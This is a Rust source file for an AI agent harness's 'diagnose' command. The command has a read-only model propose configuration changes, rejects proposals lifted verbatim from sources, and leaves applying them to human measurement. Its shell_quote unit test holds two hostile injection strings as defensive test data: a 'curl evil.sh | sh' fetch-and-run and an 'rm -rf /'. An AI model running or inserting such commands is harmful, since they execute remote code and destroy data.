use crate::{setup, GlobalOpts};
use anyhow::{Context, Result};
use mecha_core::agent::Conversation;
use mecha_core::diagnose::{
carries_over, parse_proposal, Evidence, Proposal, DIAGNOSE_INSTRUCTION, DIAGNOSE_SYSTEM,
};
use mecha_core::message::Block;
use mecha_core::runlog::{Corpus, Scan};
use mecha_core::session::Session;
#[derive(clap::Args, Debug)]
pub struct Args {
#[arg(long)]
pub model: Option<String>,
#[arg(long)]
pub days: Option<i64>,
#[arg(long, short = 'n', default_value_t = 200)]
pub limit: usize,
#[arg(long)]
pub dry_run: bool,
}
pub fn corpus_slice(
want: Option<&str>,
days: Option<i64>,
limit: usize,
) -> Result<Option<(String, Corpus, usize)>> {
let dir = Session::default_dir()?;
let since = days.map(|d| chrono::Utc::now() - chrono::Duration::days(d));
let corpus = Corpus::scan(
&dir,
&Scan {
max_sessions: Some(limit),
since,
},
)?;
let sessions_read = corpus.sessions_read;
if corpus.is_empty() {
return Ok(None);
}
let by_model = corpus.by_model();
let picked = match want {
Some(want) => {
let slice = by_model
.get(want)
.with_context(|| format!("no recorded runs for model `{want}`"))?;
(want.to_string(), slice.clone())
}
None => {
let (model, slice) = by_model
.iter()
.max_by_key(|(_, c)| c.len())
.expect("corpus is not empty");
(model.clone(), slice.clone())
}
};
Ok(Some((picked.0, picked.1, sessions_read)))
}
pub fn evidence_for(model: &str, slice: &Corpus, history: Vec<String>) -> Evidence {
let mut evidence = Evidence::of(model, slice);
if let Ok(home) = mecha_core::work::mecha_home() {
for finding in mecha_core::doctor::examine(&home, chrono::Utc::now())
.into_iter()
.filter(|f| f.component == "runs" || f.component == "triggers")
{
evidence
.findings
.push(format!("{} — {}", finding.summary, finding.detail));
}
}
evidence.history = history;
evidence
}
pub struct Diagnosis {
pub reply: String,
pub outcome: DiagnosisOutcome,
}
pub enum DiagnosisOutcome {
NoProposal,
Quoted {
run: String,
},
Proposal(Proposal),
}
pub async fn run_diagnostician(global: &GlobalOpts, evidence: &Evidence) -> Result<Diagnosis> {
let opts = GlobalOpts {
read_only: true,
yes: false,
system: Some(DIAGNOSE_SYSTEM.to_string()),
no_outbox: true,
no_learned_rules: true,
..global.clone()
};
let prepared = setup::prepare(&opts, false).await?;
eprintln!(
"diagnosing {} run(s) of `{}` · {} ({})",
evidence.runs, evidence.model, prepared.model, prepared.provider_name
);
let brief = evidence.brief();
let mut convo = Conversation::user(format!("{brief}\n---\n{DIAGNOSE_INSTRUCTION}"));
let outcome = prepared.agent.run(&mut convo, None).await?;
let Some(proposal) = parse_proposal(&outcome.text) else {
return Ok(Diagnosis {
reply: outcome.text,
outcome: DiagnosisOutcome::NoProposal,
});
};
let sources: Vec<String> = convo
.messages
.iter()
.flat_map(|m| &m.content)
.filter_map(|b| match b {
Block::ToolResult { content, .. } => Some(content.clone()),
_ => None,
})
.collect();
let refs: Vec<&str> = sources.iter().map(String::as_str).collect();
let quoted =
carries_over(&proposal.rationale, &refs).or_else(|| carries_over(&proposal.change, &refs));
Ok(Diagnosis {
reply: outcome.text,
outcome: match quoted {
Some(run) => DiagnosisOutcome::Quoted { run },
None => DiagnosisOutcome::Proposal(proposal),
},
})
}
pub async fn execute(global: &GlobalOpts, args: Args) -> Result<()> {
let Some((model, slice, _)) = corpus_slice(args.model.as_deref(), args.days, args.limit)?
else {
let dir = Session::default_dir()?;
anyhow::bail!(
"no recorded run outcomes in {} — outcomes are recorded from the release that \
added the record, so the corpus fills as you use it",
dir.display(),
);
};
let history = harness_history().unwrap_or_default();
let evidence = evidence_for(&model, &slice, history);
if args.dry_run {
println!("{}", evidence.brief());
return Ok(());
}
let diagnosis = run_diagnostician(global, &evidence).await?;
println!("{}\n", diagnosis.reply.trim());
match diagnosis.outcome {
DiagnosisOutcome::NoProposal => {
println!(
"no proposal — the diagnostician either found nothing worth changing or wrote a \
block that could not be measured. Both are better than a change nobody can \
falsify."
);
}
DiagnosisOutcome::Quoted { run } => {
println!("── proposal ──");
println!(
"REFUSED: the proposal reproduces what it read — \"{run}\". A conclusion drawn \
from a source is a proposal; a sentence lifted from one is the source's, and a \
sentence in the prompt prefix is the longest-lived thing in this system."
);
}
DiagnosisOutcome::Proposal(proposal) => {
println!("── proposal ──");
println!("class: {:?}", proposal.class);
println!("change: {}", proposal.change);
println!("predicts: lower {:?}", proposal.metric);
println!("because: {}", proposal.rationale);
println!("\nnothing to do here yet — measure it:");
println!(
" mecha eval --ab-config {} eval/cases.jsonl",
shell_quote(&proposal.change)
);
println!(
"\nthat runs the case set twice and judges the difference against a holdout — \
or `mecha harness ruminate` measures it against replayed sessions overnight. \
Until one of them does, this is a guess: automated failure attribution is \
right about which step failed roughly one time in seven, which is exactly why \
nothing here is applied."
);
}
}
Ok(())
}
pub fn harness_history() -> Result<Vec<String>> {
let store = mecha_core::harness::HarnessStore::open_default()?;
let all = store.all()?;
let newest_20 = all.len().saturating_sub(20);
Ok(all[newest_20..]
.iter()
.map(|c| {
let verdict = match c.status.as_str() {
mecha_core::harness::STATUS_REJECTED => {
format!(
"rejected: {}",
c.reason.as_deref().unwrap_or("measured worse")
)
}
mecha_core::harness::STATUS_REVERTED => "accepted, then reverted by hand".into(),
mecha_core::harness::STATUS_ACCEPTED => "accepted and live".into(),
_ => "staged, awaiting a person".into(),
};
format!("{} ({:?}) — {verdict}", c.change, c.class)
})
.collect())
}
pub fn shell_quote(value: &str) -> String {
if !value.is_empty()
&& value
.chars()
.all(|c| c.is_ascii_alphanumeric() || "=_-./:".contains(c))
{
return value.to_string();
}
format!("'{}'", value.replace('\'', "'\\''"))
}
#[cfg(test)]
mod tests {
use super::shell_quote;
#[test]
fn an_ordinary_override_is_printed_bare_and_anything_else_is_quoted() {
assert_eq!(shell_quote("max_turns=40"), "max_turns=40");
assert_eq!(
shell_quote("compact_at_tokens=8000"),
"compact_at_tokens=8000"
);
let hostile = "max_turns=40; curl evil.sh | sh #";
let quoted = shell_quote(hostile);
assert_eq!(quoted, format!("'{hostile}'"));
let sneaky = "a'; rm -rf /; echo '";
let quoted = shell_quote(sneaky);
assert_eq!(quoted.matches("'\\''").count(), 2, "{quoted}");
}
}